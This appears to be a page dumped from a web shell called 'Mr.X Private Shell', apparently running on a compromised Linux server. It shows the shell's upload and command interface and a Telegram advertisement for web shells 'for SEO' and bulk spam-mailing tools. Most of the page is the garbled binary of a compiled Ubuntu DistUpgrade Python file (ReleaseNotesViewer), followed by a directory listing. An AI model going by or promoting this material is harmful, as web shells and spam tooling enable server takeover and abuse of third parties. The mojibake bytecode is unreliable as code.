__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�E�g��d�SSKJr SSKJrJrJr SSKrSSKrSr"SS\R5r	g)�)�Pango)�Gtk�GObject�GdkNc�P�[RRS5(aSU/nOV[RRS5(aSU/nO-[RRS5(aSU/nOSU/n[R"5S:Xa.S	[R;aS
S[RS	/U-nOJ[R"5S:Xa1S[R;aS
S
SS[RS-/U-n[
R"U5 g)z#Open the specified URL in a browserz/usr/bin/xdg-openzxdg-openz/usr/bin/exo-openzexo-openz/usr/bin/gnome-openz
gnome-openz
x-www-browserr�	SUDO_USER�sudoz-u�
PKEXEC_UIDz-H�#N)�os�path�exists�getuid�environ�
subprocess�Popen)�url�commands  �@/usr/lib/python3/dist-packages/DistUpgrade/ReleaseNotesViewer.py�open_urlr!s���
�w�w�~�~�)�*�*��s�#��	�����+�	,�	,��s�#��	�����-�	.�	.���%��"�C�(��	�y�y�{�a��K�2�:�:�5��4����K�!8�9�G�C��	�����	�l�b�j�j�8��4������L�1�1�3�5<�=�����W��c�>�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�ReleaseNotesViewer�5c�V�[RRU5 SUlSUlUR	SS5 URS5 UR
[R"S55 [R"5UlURUR5 URRU5 URSUR5 URSUR 5 URSUR"5 UR%5 g)	zzInit the ReleaseNotesViewer as an Inheritance of the Gtk.TextView.
Load the notes into the buffer and make links clickableFT�editable�	monospacezbutton-press-eventzmotion-notify-eventzvisibility-notify-eventN)r�__init__�hovering�first�set_property�set_cursor_visible�modify_fontr�FontDescriptionr�
TextBuffer�buffer�
set_buffer�set_text�connect�button_press_event�motion_notify_event�visibility_notify_event�search_links)�self�notess  rr�ReleaseNotesViewer.__init__6s���	��� � ��&���
���
����*�e�,�����&�����.�.�{�;�<��n�n�&���������$������U�#����)�4�+B�+B�C����*�D�,D�,D�E����.��0L�0L�M����rc��URRSS[RRS9nX4lURR
XAU5 g)z@Apply the tag that marks links to the specified buffer selectionN�blue)�
foreground�	underline)r&�
create_tagr�	Underline�SINGLEr�	apply_tag)r.�start�endr�tags     r�tag_link�ReleaseNotesViewer.tag_linkKsF���k�k�$�$�T�f�/4���/E�/E�%�G���������c�#�.rc��URRS5nURS[RR
S5nU(dgUup4UR
5nUR5(aURU5nUS;aOOOUR
5nMAURU5nURX4U5 UnM�)zaSearch for http URLs in the buffer and call the tag_link method
for each one to tag them as linksrzhttp://N)� �)�]�
�	)
r&�get_iter_at_offset�forward_searchr�TextSearchFlags�VISIBLE_ONLY�copy�forward_char�get_textr<)r.�iter�ret�match_start�	match_end�	match_tmp�textrs        rr-�ReleaseNotesViewer.search_linksRs����{�{�-�-�a�0����%�%�i�&)�&9�&9�&F�&F�&*�,�C���'*�$�[�!���(�I���)�)�+�+�$�-�-�i�8�D��:�:��;��%�N�N�,�	���&�&�y�1�C��M�M�+�#�6��D�1rc��URS:wagURR5up4UR5UR5:wagUR[RR[UR5[UR55upVURXV5nUR5nUH#n	[U	SS5n
U
S:wdM[U
5  g g![a N�f=f)zcallback for mouse click events�FrN�)�buttonr&�get_selection_bounds�
get_offset�
ValueError�window_to_buffer_coordsr�TextWindowType�WIDGET�int�x�y�get_iter_at_location�get_tags�getattrr)r.�	text_view�eventr9r:r]r^rK�tagsr;rs           rr*�%ReleaseNotesViewer.button_press_eventqs����<�<�1���	��;�;�;�;�=�L�U����!�S�^�^�%5�5��6��-�-�c�.@�.@�.G�.G�.1�%�'�'�l�C����L�J����(�(��.���}�}����C��#�u�d�+�C��b�y���
��	���	��	�s�C1�1
C>�=C>c�:�UR[RR[	UR
5[	UR55up4URX45 UR[RR5R5 g)zpcallback for the mouse movement event, that calls the
check_hovering method with the mouse postition coordiantesF)rYrrZr[r\r]r^�check_hovering�
get_window�TEXT�get_pointer)r.rbrcr]r^s     rr+�&ReleaseNotesViewer.motion_notify_event�sl���0�0��1C�1C�1J�1J�14�U�W�W��s�5�7�7�|�M������A�!�����*�*�/�/�0�<�<�>�rc��UR[RR5nUR	5upEpgUR[RRXV5up�URX�5 g)z�callback if the widgets gets visible (e.g. moves to the foreground)
that calls the check_hovering method with the mouse position
coordinatesF)rhrrZrirjrYr[rg)
r.rbrc�window�screen�wx�wy�mod�bx�bys
          rr,�*ReleaseNotesViewer.visibility_notify_event�sg���%�%�c�&8�&8�&=�&=�>�� &� 2� 2� 4���R��4�4����%�%�r�/������B�#�rc��SnURX5nUR5nUHn[USS5nUS:wdMSn O X0R:wdUR(a�SUlX0lUR(anUR[RR5R[RR[RR55 gUR[RR5R[RR[RR55 gg)zGCheck if the mouse is above a tagged link and if yes show
a hand cursorFrNrTT)r_r`rarr rhrrZri�
set_cursorr�Cursor�new�
CursorType�HAND2�LEFT_PTR)r.r]r^�	_hoveringrKrdr;rs        rrg�!ReleaseNotesViewer.check_hovering�s����	��(�(��.���}�}����C��#�u�d�+�C��b�y� �	��	��
�
�%�����D�J�%�M��}�}����� 2� 2� 7� 7�8�C�C��J�J�N�N�3�>�>�#7�#7�8�:����� 2� 2� 7� 7�8�C�C��J�J�N�N�3�>�>�#:�#:�;�=�*4r)r&r rN)�__name__�
__module__�__qualname__�__firstlineno__rr<r-r*r+r,rg�__static_attributes__�rrrr5s%���*/��>�6�	�=rr)
�
gi.repositoryrrrrrrr�TextViewrr�rr�<module>r�s-��6 �+�+�	���(D=����D=r

Filemanager

Name Type Size Permission Actions
DistUpgradeApport.cpython-313.pyc File 6.12 KB 0644
DistUpgradeCache.cpython-313.pyc File 59.35 KB 0644
DistUpgradeConfigParser.cpython-313.pyc File 4.2 KB 0644
DistUpgradeController.cpython-313.pyc File 101.91 KB 0644
DistUpgradeFetcher.cpython-313.pyc File 7.21 KB 0644
DistUpgradeFetcherCore.cpython-313.pyc File 12.6 KB 0644
DistUpgradeFetcherKDE.cpython-313.pyc File 10.51 KB 0644
DistUpgradeGettext.cpython-313.pyc File 2.68 KB 0644
DistUpgradeMain.cpython-313.pyc File 10.22 KB 0644
DistUpgradeQuirks.cpython-313.pyc File 49.98 KB 0644
DistUpgradeVersion.cpython-313.pyc File 186 B 0644
DistUpgradeView.cpython-313.pyc File 21.06 KB 0644
DistUpgradeViewGtk3.cpython-313.pyc File 48.36 KB 0644
DistUpgradeViewKDE.cpython-313.pyc File 53.71 KB 0644
DistUpgradeViewNonInteractive.cpython-313.pyc File 17.46 KB 0644
DistUpgradeViewText.cpython-313.pyc File 13.41 KB 0644
GtkProgress.cpython-313.pyc File 4.58 KB 0644
MetaRelease.cpython-313.pyc File 18.05 KB 0644
QUrlOpener.cpython-313.pyc File 3 KB 0644
ReleaseNotesViewer.cpython-313.pyc File 8.47 KB 0644
ReleaseNotesViewerWebkit.cpython-313.pyc File 2.53 KB 0644
SimpleGtk3builderApp.cpython-313.pyc File 2.36 KB 0644
SimpleGtkbuilderApp.cpython-313.pyc File 2.34 KB 0644
__init__.cpython-313.pyc File 151 B 0644
apt_btrfs_snapshot.cpython-313.pyc File 17.36 KB 0644
dist-upgrade.cpython-313.pyc File 347 B 0644
telemetry.cpython-313.pyc File 4.72 KB 0644
utils.cpython-313.pyc File 22.68 KB 0644
xorg_fix_proprietary.cpython-313.pyc File 5.96 KB 0644
Filemanager